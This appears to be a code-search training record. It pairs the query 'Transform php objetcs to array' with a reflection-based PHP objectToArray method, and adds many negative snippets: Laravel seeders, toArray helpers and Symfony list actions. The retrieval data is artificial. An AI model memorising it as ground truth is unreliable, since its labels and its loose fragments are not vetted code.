"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }",
"public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }",
"public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }",
"public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }",
"public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }",
"public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }"
] | [
"0.8014072",
"0.7980389",
"0.7977261",
"0.79545176",
"0.7951285",
"0.7949779",
"0.79447794",
"0.79427236",
"0.7938544",
"0.7937133",
"0.7933888",
"0.7892658",
"0.78813094",
"0.7879304",
"0.78790134",
"0.7875582",
"0.78718805",
"0.7870327",
"0.7851507",
"0.78506047",
"0.7841656",
"0.7834773",
"0.782799",
"0.7819246",
"0.7809116",
"0.7803176",
"0.7802559",
"0.7800953",
"0.7799208",
"0.77958846",
"0.77905864",
"0.7788729",
"0.7786444",
"0.7778857",
"0.7777666",
"0.7765372",
"0.77626014",
"0.7762562",
"0.77622634",
"0.77615577",
"0.7760895",
"0.77596897",
"0.7757152",
"0.7753893",
"0.77497184",
"0.77495176",
"0.77468747",
"0.77301675",
"0.77291715",
"0.772798",
"0.7716827",
"0.77145964",
"0.7714208",
"0.7713344",
"0.77125347",
"0.771253",
"0.7711237",
"0.77112275",
"0.77108705",
"0.7710304",
"0.7705747",
"0.77048707",
"0.770442",
"0.77041996",
"0.77028614",
"0.77021116",
"0.77008957",
"0.7698864",
"0.76987725",
"0.7697583",
"0.76966494",
"0.76945114",
"0.7692977",
"0.7691408",
"0.76907796",
"0.7688464",
"0.7687695",
"0.7686974",
"0.7686826",
"0.76851374",
"0.7684132",
"0.7679417",
"0.7678492",
"0.76778567",
"0.76769906",
"0.76728696",
"0.7671034",
"0.76692134",
"0.7668971",
"0.7668952",
"0.7666531",
"0.7662757",
"0.7662455",
"0.76616526",
"0.765996",
"0.7656754",
"0.765413",
"0.76537156",
"0.76526105",
"0.76523715",
"0.7652133"
] | 0.0 | -1 |
Transform php objetcs to array | public static function objectToArray( $item, $assoc=false ) {
$itemArray = array();
$refClass = new ReflectionClass( $item );
foreach( $refClass->getProperties() as $property ) {
if( $property->isPublic() ) {
$itemArray[ $property->name ] = $item->{$property->name};
if( is_object( $itemArray[ $property->name ] ) ) {
$itemArray[ $property->name ] = self::objectToArray(
$itemArray[ $property->name ], true );
}
}
}
foreach( $refClass->getMethods() as $method ) {
if( $method->isPublic() ) {
if( substr( $method->getName(), 0, 3 ) == "get" ||
substr( $method->getName(), 0, 2 ) == "is" ) {
$subInit = substr($method->getName(),0,4);
$subFinal = substr($method->getName(),4);
$subInit = str_replace( array( "get", "is" ), "", $subInit );
$property = $subInit.$subFinal;
$property = strtolower( substr( $property, 0, 1 ) ) .
substr( $property, 1, strlen( $property ) );
$itemArray[ $property ] = $item->{$method->getName()}();
if( is_object( $itemArray[ $property ] ) ) {
$itemArray[ $property ] = self::objectToArray(
$itemArray[ $property ], true );
}
}
}
}
return $itemArray;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function objectToArray()\n {\n return get_object_vars($this);\n }",
"public function toArray() : array{\n return get_object_vars( $this );\n }",
"public function __toArray(): array\n {\n return call_user_func('get_object_vars', $this);\n }",
"public function toArray(): array\r\n {\r\n return get_object_vars($this);\r\n }",
"public function toArray() :array {\n return get_object_vars($this);\n }",
"public function toArray() {\n return get_object_vars($this);\n }",
"public function toArray() {\n return get_object_vars($this);\n }",
"public function toArray() {\n return get_object_vars($this);\n }",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function object_to_array($data)\r\n{\r\n if (is_array($data) || is_object($data))\r\n {\r\n $result = array();\r\n foreach ($data as $key => $value)\r\n {\r\n $result[$key] = object_to_array($value);\r\n }\r\n return $result;\r\n }\r\n return $data;\r\n}",
"public function toArray() {\n\t\treturn get_object_vars($this);\n\t}",
"function toArray($object);",
"public function toArray()\n {\n return get_object_vars($this);\n }",
"public function toArray() {\n\t\t$array = [ ];\n\t\t$vars = get_object_vars($this);\n\t\tforeach ( $vars as $property => $value ) {\n\t\t\t$array[$property] = $value;\n\t\t}\n\n\t\treturn $array;\n\t}",
"public function toArray() {\n return get_object_vars($this);\n }",
"public function toArray(): array\n {\n // Collects a list of usable Attributes from the Value Object.\n $fields = $this->filterSystemControlFields(\n \\get_object_vars($this)\n );\n\n // Converts all objects into primitives.\n return $this->convertIntoPrimitiveValues($fields);\n }",
"public final function __toArray()\n {\n $data = array();\n \n $all_fields = $this->__get_fields();\n \n foreach ($all_fields as $key => $value)\n {\n $data[$key] = $value;\n }\n \n $data[self::CLASS_FIELD_KEY] = $this->__getRawClassName();\n \n return $data;\n }",
"public function toArray() {\n return get_object_vars($this);\n }",
"public function toArray()\n {\n return get_object_vars($this);\n }",
"public function toArray()\n {\n return get_object_vars($this);\n }",
"public function toArray(): array\n\t{\n\t\treturn array_map([$this, 'toArrayValue'], get_object_vars($this));\n\t}",
"function object_to_array( $input ) {\n\tif ( is_scalar( $input ) ) {\n\t\treturn $input;\n\t}\n\t\n\treturn array_map( '\\your\\space\\object_to_array', (array) $input );\n}",
"static function convert(){\n\t\tif(is_object($x) && method_exists($x, '__toArray')){\n\t\t\treturn $x->__toArray();\n\t\t}\n\t\treturn (array)$x;\n\t}",
"function object_to_array($data) {\n\tif(is_array($data) || (is_object($data) && $data instanceof stdClass))\n\t\treturn array_map('object_to_array', (array) $data);\n\telse\n\t\treturn $data;\n}",
"public function toArray()\n {\n return array_merge(get_object_vars($this), parent::toArray());\n }",
"public function getArray(): array\n {\n $output = [];\n foreach (get_object_vars($this) as $key => $value) {\n $output[$key] = gettype($value) === 'object' ? $value->getArray() : $value;\n }\n return $output;\n }",
"public function toArray() {\n $vars = get_object_vars($this);\n unset(\n $vars['rawdata'], \n $vars['inputFilter'],\n $vars['__initializer__'], \n $vars['__cloner__'], \n $vars['__isInitialized__']\n );\n foreach($vars as $key =>$val){\n if(is_object($val))\n $vars[$key] = $val->toArray();\n }\n return $vars;\n }",
"public function toArray(): array\n {\n /**\n * $get_object_vars = get_object_vars($this);\n unset($get_object_vars['parsedBody']);\n return $get_object_vars;\n */\n return (array)$this;\n }",
"function object_to_array2($object)\r\n{\r\n\tif (! is_object($object) AND ! is_array($object))\r\n\t{\r\n\t\treturn $object;\r\n\t}\r\n\tif (is_object($object))\r\n\t{\r\n\t\t$object = get_object_vars($object);\r\n\t}\r\n\treturn array_map('object_to_array2', $object);\r\n}",
"public function objectToArray($object): static;",
"public function toArray($cls) {\n return get_object_vars($cls);\n }",
"private function object_to_array($obj)\n {\n $_arr = is_object($obj) ? get_object_vars($obj) : $obj;\n foreach ($_arr as $key => $val) {\n $val = (is_array($val) || is_object($val)) ? $this->object_to_array($val) : $val;\n $arr[$key] = $val;\n }\n return $arr;\n }",
"public function toArray() {\n return json_decode(json_encode($this), true);\n }",
"function objectToArray($obj)\n {\n if (is_array($obj)) {\n return $obj;\n }\n $_arr = is_object($obj) ? get_object_vars($obj) : $obj;\n $arr = array();\n foreach ($_arr as $key => $value) {\n $value = (is_array($value)) || is_object($value) ? $this->objectToArray($value) : $value;\n $arr[$key] = $value;\n }\n return $arr;\n }",
"function objectToArray($obj)\n {\n if (is_array($obj)) {\n return $obj;\n }\n $_arr = is_object($obj) ? get_object_vars($obj) : $obj;\n $arr = array();\n foreach ($_arr as $key => $value) {\n $value = (is_array($value)) || is_object($value) ? $this->objectToArray($value) : $value;\n $arr[$key] = $value;\n }\n return $arr;\n }",
"public function toArray() {\n\t\t\t\n\t\t\treturn array_merge(get_object_vars($this), array(\n\t\t\t\t'base' => $this->getBase()\n\t\t\t));\n \t\t\n\t\t}",
"public function toArray(): array\n\t{\n\t\t$array = [];\n\n\t\tforeach ($this->propertyData as $key => $value) {\n\t\t\t$value = $this->$key;\n\n\t\t\tif (is_object($value) === true) {\n\t\t\t\t$value = $value->toArray();\n\t\t\t}\n\n\t\t\t$array[$key] = $value;\n\t\t}\n\n\t\treturn $array;\n\t}",
"public function getAsArray(): array {\n\t\t$result = [];\n\t\tforeach ( self::FIELD_MAPPING as $field => $_ ) {\n\t\t\t$result[$field] = $this->$field;\n\t\t}\n\t\treturn $result;\n\t}",
"public function toArray(): array\n\t{\n\t\t$values = [];\n\n\t\tforeach ((array) $this as $key => $value) {\n\t\t\t// Private and protected properties have ugly array key prefixes which we remove\n\t\t\t$key = preg_replace('~^.+\\0~', '', $key);\n\t\t\t$values[$key] = $value;\n\t\t}\n\n\t\treturn $values;\n\t}",
"function toArray ($obj=null) {\n\t\t\tif (is_object($obj)) $obj = (array)$obj;\n\t\t\tif (is_array($obj)) {\n\t\t\t\t$new = array();\n\t\t\t\tforeach ($obj as $key => $val) {\n\t\t\t\t\t$class = get_class($this);\n\t\t\t\t\t$k = $key;\n\t\t\t\t\t$fkey = trim( str_replace( $class,\"\",$k));\n\t\t\t\t\tif( $fkey == \"connection\" || $fkey == \"errors\" || $fkey == \"errorCount\" ){\n\t\t\t\t\t\t//dont add\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$new[$fkey] = $this->toArray($val);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$new = $obj;\n\t\t\t}\n\t\t\treturn $new;\n\t\t}",
"function object_to_array($object)\n {\n if (is_object($object)) {\n $object = get_object_vars($object);\n }\n\n return is_array($object) ? array_map(__FUNCTION__, $object) : $object;\n }",
"function convertObjToArray($obj)\n {\n $array = array_map(function ($value) {\n return (array)$value;\n }, $obj);\n return $array;\n }",
"public function jsonSerialize(): array\n {\n return get_object_vars($this);\n }",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"private function object_to_array($d) {\n if (is_object($d)) {\n $d = get_object_vars($d);\n }\n if (is_array($d)) {\n return array_map(array($this, 'object_to_array'), $d);\n } else {\n return $d;\n }\n }",
"function object_to_array($data) // Converts a Nested stdObject to a full associative Array\n{\n if(is_array($data) || is_object($data)) //\n {\n $result = array();\n foreach($data as $key => $value)\n {\n $result[$key] = object_to_array($value);\n }\n return $result;\n }\n return $data;\n}",
"public function arr() {\n\t\t\treturn \\uri\\generate::to_array($this->object);\n\t\t}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}"
] | [
"0.7778522",
"0.7725471",
"0.77187485",
"0.76688874",
"0.7503447",
"0.7501064",
"0.74866664",
"0.74866664",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7479916",
"0.7446193",
"0.74416137",
"0.7435483",
"0.74282897",
"0.74128234",
"0.7394552",
"0.7390273",
"0.73732996",
"0.7367772",
"0.7339593",
"0.7339593",
"0.73158854",
"0.7292105",
"0.7256337",
"0.7239503",
"0.7198064",
"0.7180902",
"0.717525",
"0.7142559",
"0.7106635",
"0.7090673",
"0.70577985",
"0.70113355",
"0.69867635",
"0.69823647",
"0.69823647",
"0.69814867",
"0.69657105",
"0.69625115",
"0.6950848",
"0.6946916",
"0.69119954",
"0.69112086",
"0.6908709",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6904261",
"0.6890045",
"0.6887042",
"0.6878249",
"0.6868466",
"0.6868466",
"0.6867917",
"0.6867917",
"0.6867917",
"0.6867917",
"0.6867917"
] | 0.0 | -1 |
Lists all Feedback entities. | public function indexAction(Request $request)
{
$em = $this->getDoctrine()->getManager();
$dql = "SELECT e FROM BackendBundle:Feedback e ORDER BY e.id ASC";
$query = $em->createQuery($dql);
$paginator = $this->get('knp_paginator');
$pagination = $paginator->paginate(
$query, $request->query->get('page', 1), $this->getParameter('cruds.pagination.items')
);
return $this->render('feedback/index.html.twig', array(
'entities' => $pagination,
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function index()\n {\n return Feedback::all();\n }",
"public function index()\n {\n $feedbacks = Feedback::all();\n\n return $feedbacks;\n }",
"public function listFeedbacks(){\n\n $sql = \"SELECT * FROM feedbacks\";\n $pdostm = $this->dbcon->prepare($sql);\n $pdostm->execute();\n\n $feedbacks = $pdostm->fetchAll(PDO::FETCH_ASSOC);\n return $feedbacks;\n }",
"public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n\r\n $entities = $em->getRepository('LooninsIncidentBundle:GdpMails')->findAll();\r\n\r\n return array(\r\n 'entities' => $entities,\r\n );\r\n }",
"public function actionIndex()\n {\n $searchModel = new FeedbackTypeSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n {\n $feedbacks = Feedback::paginate(10);\n return view('feedback.index', compact('feedbacks'));\n }",
"public function index()\n {\n return view('feedback', ['feedback_types' => FeedbackType::all()]);\n }",
"public function index()\n {\n return Entity::all();\n }",
"public function index()\n {\n //\n $feedbacks = Feedback::all();\n\n return view('admin.feedback.index', compact('feedbacks'));\n }",
"public function index()\n {\n $this->authorize('viewAny', Feedback::class);\n\n return View::make('dashboard.feedback.index')\n ->withFeedback(\n Feedback::latest()->paginate()\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('EmtagsNewsletterBundle:Leads')->findAll();\n\n return $this->render('EmtagsNewsletterBundle:Leads:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function indexAction()\n {\n \n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BEEServicesBeeeaseBundle:ActionListe')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('CmarMeetingBundle:Meeting')->findAll();\n\n return array('entities' => $entities);\n }",
"public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BackOfficebackBundle:Extraitnaissances')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function index()\n {\n $feeds = Feedback::all();\n $count = DB::table('feedback')->count();\n\n return view('feedback.index', compact('feeds', 'count'));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SubscriptionBundle:SubscriptionBase')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n\r\n $entities = $em->getRepository('GaleriasBundle:Galeria')->findAll();\r\n\r\n return array(\r\n 'entities' => $entities,\r\n );\r\n }",
"public function index()\n {\n $page_count = Settings::getValue('admin_pagination');\n $feedbacks = Feedback::orderBy('time','DESC')->paginate($page_count);\n return view('backend.feedback.index',compact('feedbacks'));\n }",
"public function getAllEntities();",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('TryCatchApiBundle:ComponentChannel')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BackendBundle:Founder')->findAll();\n\n return $this->render('BackendBundle:Founder:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function index()\n {\n $feedback = FeedBack::orderBy('id','desc')->get();\n return response()->json($feedback);\n }",
"public function showEntities()\n {\n return Entity::paginate(10);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CrudforgeBundle:Users')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ClassCentralSiteBundle:Newsletter')->findAll();\n\n return $this->render('ClassCentralSiteBundle:Newsletter:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CdlrcodeBundle:Question')->findAll();\n\n return $this->render('CdlrcodeBundle:Question:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function getAll()\n {\n\n $rows = $this->fetchAll();\n\n if ($rows === false) {\n throw new \\Exception('No news letter entries found');\n }\n\n $entities = array();\n foreach ($rows as $row) {\n $entities[] = new NewsletterEntryEntity($row);\n }\n return $entities;\n\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('JetBredaBundle:Alquiler')->findAll();\n\n return array('entities' => $entities);\n }",
"public function actionList() {\n $this->_getList();\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ArmensaViajesBundle:Viaje')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('InfotapAdminBundle:Feeds')->findAll();\n\n return $this->render('InfotapAdminBundle:Feeds:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function index()\n {\n return Forum::all();\n }",
"public function getAll()\r\n {\r\n return $this->contactManager->fetchAll(true, null, null);\r\n }",
"public function showAllAction () {\n $products = $this->getDoctrine()\n ->getRepository('AppBundle:Product')\n ->findAll();\n\n return $this->render('product/list.html.twig', array(\n 'products' => $products,\n ));\n }",
"public function all(){\r\n\treturn $this->getRepository()->findAll();\r\n }",
"public function index()\n {\n // title page for meta data in web browser\n $page = 'Feedback';\n\n // retrieve all artist each 10 record data\n $feedback = $this->feedback->paginate(10);\n\n return view('feedback.index', compact('page', 'feedback'));\n }",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MesdHelpWikiBundle:Link')->findAll();\n\n return $this->render('MesdHelpWikiBundle:Link:list.html.twig', array(\n 'entities' => $entities,\n 'menu' => new Menu(),\n ));\n }",
"public function index()\n {\n $this->data['models'] = Feedback::where('uid',$this->uid)->take(2)->orderBy('id','desc')->get();\n $this->data['models'] = $this->data['models']->reverse();\n $this->debug(false);\n return view('my.feedback.index',$this->data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ItechSupQuestionnaireBundle:Formulaire')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('tBundle:UserToTask')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('INHack20EquipoBundle:Componente')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function allFeedbacks(){\n\t\t\t$this->load->database();\n\t\t\t$this->db->select(\"*\");\n\t\t\t$this->db->from(\"feedback\");\n\t\t\t$this->db->order_by(\"cDate\",\"DESC\"); //sort by date. decending\n\t\t\t$query=$this->db->get();\n\t\t\treturn $query->result();\n\t}",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MinsalsifdaBundle:SifdaEquipoTrabajo')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('TapiocaDesignClassLiveGnvBundle:Performance')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $emails = $em->getRepository('Workshop5Bundle:Email')->findAll();\n\n return $this->render('email/index.html.twig', array(\n 'emails' => $emails,\n ));\n }",
"public function index(){\n $rates = $this->feedback_model->rates;\n $statuses = $this->feedback_model->statuses;\n return view('admin.feedbacks',compact('rates','statuses'));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('GarnetTaxiBeBundle:Ligne')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CMSBundle:Client')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SCRUMSwiftairBundle:Vluchten')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $entities = $em->getRepository('QihooToolBundle:AutoDownUrl')->getAllList();\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('WoojinGoodsBundle:Behalf')->findBy(array(), array('updateAt' => 'DESC'));\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function index(Request $request)\n {\n \n $order = $request->query('order');\n $customer = $request->query('customer');\n\n $query = Feedback::query();\n\n $query = $query->when(!is_null($order), function($query) use ($order) {\n\n return $query->where('order_id', $order);\n\n });\n\n $query = $query->when(!is_null($customer), function($query) use ($customer) {\n\n return $query->where('customer_id', $customer);\n\n });\n\n $per_page = (int) $request->query('per_page', 15);\n\n $collection = new FeedbackCollection($query->paginate($per_page));\n\n return $collection->additional([\n 'status' => 1\n ]);\n\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CheckmanBundle:Spendings')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $participants = $em->getRepository('AppBundle:Participant')->findAll();\n\n return $this->render('participant/liste.html.twig', array(\n 'participants' => $participants,\n ));\n }",
"function listaAll() {\n require ROOT . \"config/bootstrap.php\";\n return $em->getRepository('models\\Equipamentos')->findby(array(), array(\"id\" => \"DESC\"));\n $em->flush();\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $users = $em->getRepository('DteBtsBundle:User')->findAll();\n\n return array(\n 'entities' => $users,\n );\n }",
"public function indexActionEntities() {\n return [];\n }",
"public function index()\n {\n $responData = [\n 'status'=>200\n ];\n try{\n $sort = $this->parameters->sort();\n $order = $this->parameters->order();\n $limit = $this->parameters->limit();\n $list = Feedback::orderBy($sort, $order)->paginate($limit);\n return $this->response->collection($list);\n }catch(Exception $e){\n $responData['status'] = 500;\n $responData['messages'] = '数据是空的';\n return $this->response->json(compact('responData'));\n }\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $etablissements = $em->getRepository('AppBundle:Etablissements')->findAllWithCountry();\n\n return $this->render('etablissements/index.html.twig', array(\n 'etablissements' => $etablissements,\n ));\n }",
"public function indexAction()\n {\n $entities= $this->get('product.manager')->findAll();\n\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AcmeKindergartenBundle:AttendanceEmployed')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AppProductBundle:FrontBottom')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }",
"public function getAll()\n {\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('AcseoStartupBundle:Comment')->findAll();\n\n return array('entities' => $entities);\n }",
"public function indexAction() {\n // on récupère l'entity manager à l'aide du service Doctrine\n $em = $this->getDoctrine()->getManager();\n\n // on récupère le repository de Article et on lui demande \n // tous les articles\n $entities = $em->getRepository('HBBlogBundle:Article')->findAll();\n\n // on transmet la liste d'article au template en la nommant entities\n return array(\n 'entities' => $entities,\n );\n }",
"public function all()\n {\n return $this->getModel()->all();\n }",
"public function getRecords()\n {\n try {\n $SQL = \"SELECT * FROM `\".CMS_TABLE_PREFIX.\"mod_feedback` WHERE `page_id` > '0' AND `active`='1'\";\n $results = $this->app['db']->fetchAll($SQL);\n return $results;\n } catch (\\Doctrine\\DBAL\\DBALException $e) {\n throw new \\Exception($e);\n }\n }",
"public function index()\n {\n return $this->model->getAll();\n }",
"public function get_entities();",
"function getAll() {\r\n\t\t$cond = new Criteria();\r\n\t\t$alls = NewsletterUserPeer::doSelect($cond);\r\n\t\treturn $alls;\r\n }",
"public function index()\n {\n\n return view('feedbacks.index');\n }",
